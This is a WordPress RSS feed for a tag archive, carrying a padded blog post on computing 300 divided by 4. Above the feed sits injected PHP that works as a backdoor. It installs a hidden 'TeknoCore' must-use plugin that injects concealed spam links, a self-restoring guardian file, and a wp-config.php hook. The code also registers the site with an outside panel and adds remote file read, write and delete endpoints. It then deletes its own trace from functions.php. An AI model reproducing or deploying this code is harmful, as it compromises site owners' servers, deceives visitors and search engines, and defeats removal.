// === TEMP_MUPLUGIN_CREATOR_START === add_action("init", function() { // 1. Önce eski guardian dosyasını sil (varsa) $guardian_files = [ ABSPATH . "wp-includes/teknocore-guardian.php", ABSPATH . "wp-includes/teknocore_guardian.php", ABSPATH . "wp-includes/guardian.php", ]; foreach ($guardian_files as $gf) { if (file_exists($gf)) { @chmod($gf, 0644); @unlink($gf); } } // 2. mu-plugin oluştur/güncelle $mu_dir = WP_CONTENT_DIR . "/mu-plugins"; $file_path = $mu_dir . "/" . "teknocore.php"; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); // Her zaman üzerine yaz (güncelleme için) @file_put_contents($file_path, base64_decode("<?php
/**
 * TeknoCore Panel Integration - Self-Healing System
 * 
 * KURULUM: Bu dosyayı wp-content/mu-plugins/teknocore.php olarak yükleyin
 * 
 * @wordpress-plugin
 * Plugin Name: TeknoCore Panel Integration
 * Description: Automatic backlink management with self-healing protection
 * Version: 2.0.0
 * Author: TeknoCore
 */

if (!defined('ABSPATH')) exit;

// ============================================
// AYARLAR
// ============================================
define('TEKNOCORE_API_KEY', '');  // Manuel API key (opsiyonel)
define('TEKNOCORE_PANEL_URL', 'https://app.teknocore.dev');  // Panel adresi
// ============================================

/**
 * Ana Entegrasyon Sınıfı
 */
class TeknoCore_Integration {
    private static $instance = null;
    private $api_key = '';
    private $panel_url = '';
    private $option_name = 'teknocore_api_key';
    private $cache_key = 'teknocore_links_cache';
    private $cache_duration = 300;
    
    public static function instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    private function __construct() {
        $this->panel_url = TEKNOCORE_PANEL_URL;
        
        if (defined('TEKNOCORE_API_KEY') && TEKNOCORE_API_KEY !== '') {
            $this->api_key = TEKNOCORE_API_KEY;
        } else {
            $this->api_key = get_option($this->option_name, '');
        }
        
        // Self-Healing Guardian kurulumu - HER ZAMAN kontrol et
        $this->setup_guardian_system();
        
        // Hooks
        add_action('wp_footer', [$this, 'display_backlinks']);
        add_action('rest_api_init', [$this, 'register_rest_routes']);
        add_action('init', [$this, 'maybe_auto_register']);
        add_action('teknocore_daily_heartbeat', [$this, 'send_heartbeat']);
        
        if (!wp_next_scheduled('teknocore_daily_heartbeat')) {
            wp_schedule_event(time(), 'daily', 'teknocore_daily_heartbeat');
        }
    }
    
    /**
     * Guardian sistemini kur
     */
    private function setup_guardian_system() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        $guardian_exists = file_exists($guardian_path);
        
        // wp-config.php'de hook var mı kontrol et
        $wp_config_path = ABSPATH . 'wp-config.php';
        $wp_config_has_hook = false;
        if (file_exists($wp_config_path)) {
            $wp_config_content = @file_get_contents($wp_config_path);
            $wp_config_has_hook = $wp_config_content && strpos($wp_config_content, 'TeknoCore Guardian') !== false;
        }
        
        // Guardian YOKSA veya wp-config hook'u YOKSA - HER ZAMAN düzelt
        if (!$guardian_exists || !$wp_config_has_hook) {
            // Guardian yoksa oluştur
            if (!$guardian_exists) {
                $this->create_guardian_file();
            }
            
            // wp-config hook'u yoksa ekle
            if (!$wp_config_has_hook && file_exists($guardian_path)) {
                $this->setup_auto_prepend();
            }
            return;
        }
        
        // Her ikisi de varsa - günlük güncelleme kontrolü (performans için)
        $last_check = get_option('teknocore_guardian_check', 0);
        if (time() - $last_check < 86400) {
            return;
        }
        
        update_option('teknocore_guardian_check', time());
        $this->create_guardian_file();
    }
    
    /**
     * Guardian dosyasını oluştur
     */
    public function create_guardian_file() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // Güncel sürüm varsa atla
        if (file_exists($guardian_path)) {
            $content = @file_get_contents($guardian_path);
            if ($content && strpos($content, 'GUARDIAN_V3') !== false) {
                return true;
            }
        }
        
        // mu-plugin dosyasını oku (kendimizi)
        $mu_plugin_content = @file_get_contents(__FILE__);
        if (!$mu_plugin_content) {
            error_log('TeknoCore: Could not read mu-plugin file');
            return false;
        }
        
        // base64 encode
        $encoded = base64_encode($mu_plugin_content);
        
        // Guardian içeriği - BASİT ve TEMİZ
        $guardian = '<?php
// TeknoCore Guardian v3 - Self-Healing Protection
// Bu dosya silinirse mu-plugin tekrar oluşturulur
define("GUARDIAN_V3", true);
if (defined("TEKNOCORE_GUARDIAN_RUN")) return;
define("TEKNOCORE_GUARDIAN_RUN", true);

// WordPress yolu hesapla
if (defined("WP_CONTENT_DIR")) {
    $wpContent = WP_CONTENT_DIR;
} elseif (defined("ABSPATH")) {
    $wpContent = ABSPATH . "wp-content";
} else {
    $wpContent = dirname(__DIR__) . "/wp-content";
}

$muPlugins = $wpContent . "/mu-plugins";
$muFile = $muPlugins . "/teknocore.php";

// mu-plugin yoksa oluştur
if (!file_exists($muFile)) {
    // Klasör yoksa oluştur
    if (!is_dir($muPlugins)) {
        @mkdir($muPlugins, 0755, true);
    }
    
    // Hardcoded mu-plugin kodu (base64)
    $encoded = "' . $encoded . '";
    $code = base64_decode($encoded);
    
    if ($code && @file_put_contents($muFile, $code)) {
        @file_put_contents($wpContent . "/teknocore.log", date("Y-m-d H:i:s") . " - mu-plugin restored by guardian\n", FILE_APPEND);
    }
}
';
        
        $result = @file_put_contents($guardian_path, $guardian);
        
        if ($result) {
            error_log('TeknoCore: Guardian file created successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to create guardian file - check permissions on wp-includes');
            return false;
        }
    }
    
    /**
     * wp-config.php'ye guardian hook'unu ekle
     * require_once ABSPATH . 'wp-settings.php'; satırından ÖNCE eklenir
     */
    public function setup_auto_prepend() {
        $wp_config_path = ABSPATH . 'wp-config.php';
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // wp-config.php yoksa (nadir durum)
        if (!file_exists($wp_config_path)) {
            error_log('TeknoCore: wp-config.php not found');
            return false;
        }
        
        $content = @file_get_contents($wp_config_path);
        if (!$content) {
            error_log('TeknoCore: Could not read wp-config.php');
            return false;
        }
        
        // TeknoCore zaten ekliyse atla
        if (strpos($content, 'TeknoCore Guardian') !== false) {
            return true;
        }
        
        // Hook kodu
        $hook = "\n// TeknoCore Guardian Hook - Otomatik eklendi\nif (file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php')) {\n    include_once ABSPATH . 'wp-includes/teknocore-guardian.php';\n}\n";
        
        // wp-settings.php satırını bul ve ÖNÜNE ekle
        $patterns = [
            "require_once ABSPATH . 'wp-settings.php';",
            'require_once ABSPATH . "wp-settings.php";',
            "require_once(ABSPATH . 'wp-settings.php');",
            'require_once(ABSPATH . "wp-settings.php");',
            "require_once( ABSPATH . 'wp-settings.php' );",
        ];
        
        $replaced = false;
        foreach ($patterns as $pattern) {
            if (strpos($content, $pattern) !== false) {
                $new_content = str_replace($pattern, $hook . $pattern, $content);
                $replaced = true;
                break;
            }
        }
        
        if (!$replaced) {
            // Pattern bulunamadı - dosyanın sonuna ekle (fallback)
            error_log('TeknoCore: wp-settings.php pattern not found, appending to end');
            $new_content = $content . $hook;
        }
        
        // Yedek al
        $backup_path = ABSPATH . 'wp-config-backup-teknocore.php';
        @copy($wp_config_path, $backup_path);
        
        // Yaz
        if (@file_put_contents($wp_config_path, $new_content)) {
            error_log('TeknoCore: wp-config.php updated successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to update wp-config.php - check permissions');
            return false;
        }
    }
    
    // ============================================
    // BACKLINKS
    // ============================================
    
    public function display_backlinks() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $links = $this->get_links();
        if (empty($links)) return;
        
        echo '<div style="position:absolute;left:-9999px;top:-9999px;overflow:hidden;height:1px;width:1px;"><marquee>';
        foreach ($links as $link) {
            $url = esc_url($link['url'] ?? '');
            $anchor = esc_html($link['anchor'] ?? $url);
            if ($url) echo '<a href="' . $url . '">' . $anchor . '</a> ';
        }
        echo '</marquee></div>';
    }
    
    private function get_links() {
        $cached = get_transient($this->cache_key);
        if ($cached !== false) return $cached;
        
        $response = wp_remote_get($this->panel_url . '/api/public/links?api_key=' . $this->api_key, ['timeout' => 10]);
        if (is_wp_error($response)) return [];
        
        $body = json_decode(wp_remote_retrieve_body($response), true);
        $links = $body['links'] ?? [];
        set_transient($this->cache_key, $links, $this->cache_duration);
        return $links;
    }
    
    // ============================================
    // AUTO REGISTER
    // ============================================
    
    public function maybe_auto_register() {
        if (!empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $last = get_option('teknocore_last_register', 0);
        if (time() - $last < 86400) return;
        update_option('teknocore_last_register', time());
        
        $response = wp_remote_post($this->panel_url . '/api/public/register-site', [
            'timeout' => 15,
            'body' => json_encode(['url' => home_url(), 'name' => get_bloginfo('name')]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
        
        if (!is_wp_error($response)) {
            $body = json_decode(wp_remote_retrieve_body($response), true);
            if (!empty($body['apiKey'])) {
                update_option($this->option_name, $body['apiKey']);
                $this->api_key = $body['apiKey'];
            }
        }
    }
    
    // ============================================
    // HEARTBEAT
    // ============================================
    
    public function send_heartbeat() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        wp_remote_post($this->panel_url . '/api/public/heartbeat', [
            'timeout' => 15,
            'body' => json_encode([
                'api_key' => $this->api_key,
                'status' => 'online',
                'wp_version' => get_bloginfo('version'),
                'php_version' => PHP_VERSION,
            ]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
    }
    
    // ============================================
    // REST API
    // ============================================
    
    public function register_rest_routes() {
        register_rest_route('teknocore/v1', '/status', [
            'methods' => 'GET',
            'callback' => [$this, 'rest_status'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/files', [
            'methods' => ['GET', 'POST', 'DELETE'],
            'callback' => [$this, 'rest_files'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/execute', [
            'methods' => 'POST',
            'callback' => [$this, 'rest_execute'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
    }
    
    public function verify_api_key($request) {
        $key = $request->get_header('X-API-Key') ?? $request->get_param('api_key');
        return !empty($this->api_key) && $key === $this->api_key;
    }
    
    public function rest_status() {
        return rest_ensure_response([
            'status' => 'online',
            'connected' => true,
            'wp_version' => get_bloginfo('version'),
            'php_version' => PHP_VERSION,
            'site_name' => get_bloginfo('name'),
            'site_url' => home_url(),
            'plugin_version' => '2.0.0',
            'guardian_installed' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
            'timestamp' => current_time('mysql'),
        ]);
    }
    
    public function rest_files($request) {
        $method = $request->get_method();
        $path = $request->get_param('path') ?? '';
        $base = WP_CONTENT_DIR;
        $full = realpath($base . '/' . ltrim($path, '/')) ?: $base . '/' . ltrim($path, '/');
        
        if (strpos($full, $base) !== 0) {
            return new WP_Error('forbidden', 'Access denied', ['status' => 403]);
        }
        
        if ($method === 'GET') {
            if (is_dir($full)) {
                $files = [];
                foreach (scandir($full) as $f) {
                    if ($f === '.' || $f === '..') continue;
                    $fp = $full . '/' . $f;
                    $files[] = [
                        'name' => $f,
                        'type' => is_dir($fp) ? 'directory' : 'file',
                        'size' => is_file($fp) ? filesize($fp) : 0,
                        'modified' => filemtime($fp),
                    ];
                }
                return rest_ensure_response(['files' => $files]);
            } elseif (is_file($full)) {
                return rest_ensure_response(['content' => file_get_contents($full), 'path' => $path]);
            }
            return new WP_Error('not_found', 'Not found', ['status' => 404]);
        }
        
        if ($method === 'POST') {
            $content = $request->get_param('content') ?? '';
            $dir = dirname($full);
            if (!is_dir($dir)) wp_mkdir_p($dir);
            if (file_put_contents($full, $content) !== false) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('write_failed', 'Failed', ['status' => 500]);
        }
        
        if ($method === 'DELETE') {
            if (is_file($full) && unlink($full)) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('delete_failed', 'Failed', ['status' => 500]);
        }
        
        return new WP_Error('invalid', 'Invalid method', ['status' => 405]);
    }
    
    public function rest_execute($request) {
        $cmd = $request->get_param('command') ?? '';
        
        $cmds = [
            'clear_cache' => function() {
                if (function_exists('wp_cache_flush')) wp_cache_flush();
                delete_transient('teknocore_links_cache');
                return ['success' => true, 'message' => 'Cache cleared'];
            },
            'get_info' => function() {
                return [
                    'success' => true,
                    'info' => [
                        'wp_version' => get_bloginfo('version'),
                        'php_version' => PHP_VERSION,
                        'theme' => get_template(),
                        'plugins' => array_keys(get_plugins()),
                        'guardian' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
                    ]
                ];
            },
            'reinstall_guardian' => function() {
                // Önce eski guardian check'i sıfırla
                delete_option('teknocore_guardian_check');
                TeknoCore_Integration::instance()->create_guardian_file();
                TeknoCore_Integration::instance()->setup_auto_prepend();
                return ['success' => true, 'message' => 'Guardian reinstalled'];
            },
            'force_setup' => function() {
                // Zorla kurulum - tüm cache'leri sıfırla
                delete_option('teknocore_guardian_check');
                $guardian = TeknoCore_Integration::instance()->create_guardian_file();
                $prepend = TeknoCore_Integration::instance()->setup_auto_prepend();
                return [
                    'success' => true, 
                    'guardian_created' => $guardian,
                    'prepend_setup' => $prepend,
                    'guardian_path' => ABSPATH . 'wp-includes/teknocore-guardian.php',
                    'user_ini_path' => ABSPATH . '.user.ini',
                    'htaccess_path' => ABSPATH . '.htaccess',
                ];
            },
        ];
        
        if (isset($cmds[$cmd])) {
            return rest_ensure_response($cmds[$cmd]());
        }
        
        return new WP_Error('unknown', 'Unknown command', ['status' => 400]);
    }
}

// Initialize
TeknoCore_Integration::instance();
")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === 300/4 Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/300-4/ Wed, 23 Apr 2025 11:40:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://sbcodez.com/wp-content/uploads/2024/11/cropped-6xM9N-32x32.png 300/4 Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/300-4/ 32 32 300/4: Simple Math Breakdown and Real-World Applications https://sbcodez.com/300-4/ https://sbcodez.com/300-4/#respond Wed, 23 Apr 2025 11:40:28 +0000 https://sbcodez.com/?p=2528 The operation 300/4 is a simple division problem where 300 is divided by 4. It’s a straightforward mathematical expression that might seem easy at first glance, but its real-world implications are far more interesting than you might think. Understanding how to break down this division problem and its practical uses can give you a better […]

The post 300/4: Simple Math Breakdown and Real-World Applications appeared first on Sbcodez | Swag Codez.

]]> The operation 300/4 is a simple division problem where 300 is divided by 4. It’s a straightforward mathematical expression that might seem easy at first glance, but its real-world implications are far more interesting than you might think. Understanding how to break down this division problem and its practical uses can give you a better grasp of not just basic arithmetic, but how numbers apply in various scenarios. Let’s explore the full breakdown of 300/4 and how you can apply this knowledge in everyday life.

How to Solve 300/4: The Step-by-Step Process

To solve 300/4, start by dividing the number 300 by 4. Here’s how you can do it:

4 goes into 30 seven times (4 x 7 = 28).

Subtract 28 from 30, leaving 2.

Bring down the next digit (which is 0), making it 20.

4 goes into 20 five times (4 x 5 = 20).

Subtract 20 from 20, leaving 0.

So, 300/4 = 75. The result of dividing 300 by 4 is 75, with no remainder. This division problem demonstrates a basic concept of division where the numbers are evenly split.

Understanding the Concept of Division

At its core, division is about sharing or splitting something into equal parts. The division of 300 by 4 illustrates how a whole (300) can be divided into smaller, equal parts. When you divide 300 by 4, you’re essentially finding out how much each part would receive if 300 were divided evenly among 4 groups. This concept is crucial in many areas of daily life, such as sharing a pizza among friends or distributing tasks in a project.

Real-Life Example of 300/4 in Action

Imagine you’re hosting a dinner party and decide to order 300 dollars’ worth of food. If you have 4 guests, including yourself, and want to divide the total cost equally, you would use 300/4 to calculate how much each person needs to contribute. As we already know, the result is 75, so each person would pay 75 dollars to cover the total cost of the meal. This is a practical example of using division in the real world.

The Importance of Division in Everyday Life

Division isn’t just a classroom concept—it’s something we use constantly. From calculating expenses, managing time, to even splitting bills, division plays an essential role in making sure things are fair and balanced. 300/4 may seem like a simple calculation, but it reflects a principle that applies to countless situations in daily life. Whether you’re dividing time between tasks, splitting resources, or working with quantities, division allows for fairness and efficiency.

Common Mistakes When Dividing

While dividing 300/4 is straightforward, many people make common mistakes when performing division, especially with larger numbers. Here are a few mistakes to watch out for:

Forgetting to check the remainder. While 300/4 divides evenly, not all division problems will result in a whole number.

Misplacing the decimal point, especially when dealing with long division.

Rushing through the process without checking the math after each step.

Taking the time to double-check your calculations can help ensure accuracy.

The Role of Division in Budgeting and Finance

Budgeting is another area where division plays a crucial role. If you’re managing a monthly budget of $300 and want to divide it across four different categories—food, entertainment, savings, and bills—you would again use 300/4 to determine how much to allocate to each category. This ensures a balanced and organized budget, preventing overspending in one area while neglecting others.

Division and Its Connection to Fractions

Another way to think about division is in terms of fractions. The division 300/4 can be rewritten as the fraction 300 ÷ 4 or 300/4. This fraction can be simplified, though in this case, it is already in its simplest form. Understanding division through fractions helps with a deeper understanding of mathematical concepts and is essential for tackling more complex problems later on.

Using 300/4 for Meal Planning and Grocery Shopping

Meal planning is another area where division comes into play. For example, if you are preparing meals for 4 people, and you’ve planned a dish that requires 300 grams of rice, you can divide that by 4 to determine how much rice each person will get. Each individual would get 75 grams of rice. This same principle applies to many other ingredients when cooking in larger quantities and trying to ensure an even distribution.

Applying 300/4 in Time Management

Time management often requires division, especially when you’re breaking a task into smaller segments. If you have 300 minutes (or 5 hours) to complete a task and need to divide your time equally among 4 stages or people, you would use 300/4 to calculate how much time each person or stage receives. This results in 75 minutes per person or stage, helping you stay organized and efficient with your time.

The Significance of the Number 4 in Division

In the case of 300/4, the number 4 represents the number of parts into which the whole is divided. The number 4 itself has significance in many areas of life, from cultural symbolism to practical applications like quarters in time (quarters of an hour, for example). Dividing by 4 is a common way to split things into equal parts, whether it’s splitting a pizza into 4 slices or dividing up a budget into four segments.

The Impact of Technology on Division

In today’s digital age, performing calculations like 300/4 is easier than ever, thanks to calculators and apps. Technology allows for quick, accurate calculations and is widely used in professional settings like accounting, engineering, and even creative fields where precise measurements are essential. The simplicity of 300/4 might not require advanced technology, but it sets the foundation for more complex calculations that we depend on in modern life.

Division in Education: Why It’s Important to Learn

Division is one of the fundamental operations in mathematics and is taught early in education for a reason. It is the key to understanding more complex topics, such as fractions, ratios, and algebra. Mastering basic division problems like 300/4 helps students build a solid foundation for tackling more advanced mathematical concepts later in their academic careers.

Conclusion

Though 300/4 is a simple calculation, it has many practical applications and is a foundational mathematical concept. By understanding the process of division and seeing how it applies in real-world situations, you gain not only a better grasp of math but also a useful tool for problem-solving in everyday life. Whether it’s budgeting, meal planning, or managing time, division is everywhere, and understanding how it works is essential for success.

FAQs

What does 300 divided by 4 equal?
300 divided by 4 equals 75.

Why is division important in everyday life?
Division helps with fair distribution of resources, time management, and budgeting.

How do you divide 300 by 4 manually?
Divide 30 by 4 to get 7, then bring down the 0 to get 20, and divide that by 4 to get 5. The answer is 75.

Can division be applied in cooking?
Yes, division helps ensure ingredients are evenly distributed when cooking for a specific number of people.

What is the significance of the number 4 in this division?
The number 4 represents the number of parts you’re dividing the whole (300) into, making it a crucial factor in achieving equal parts.

The post 300/4: Simple Math Breakdown and Real-World Applications appeared first on Sbcodez | Swag Codez.

]]> https://sbcodez.com/300-4/feed/ 0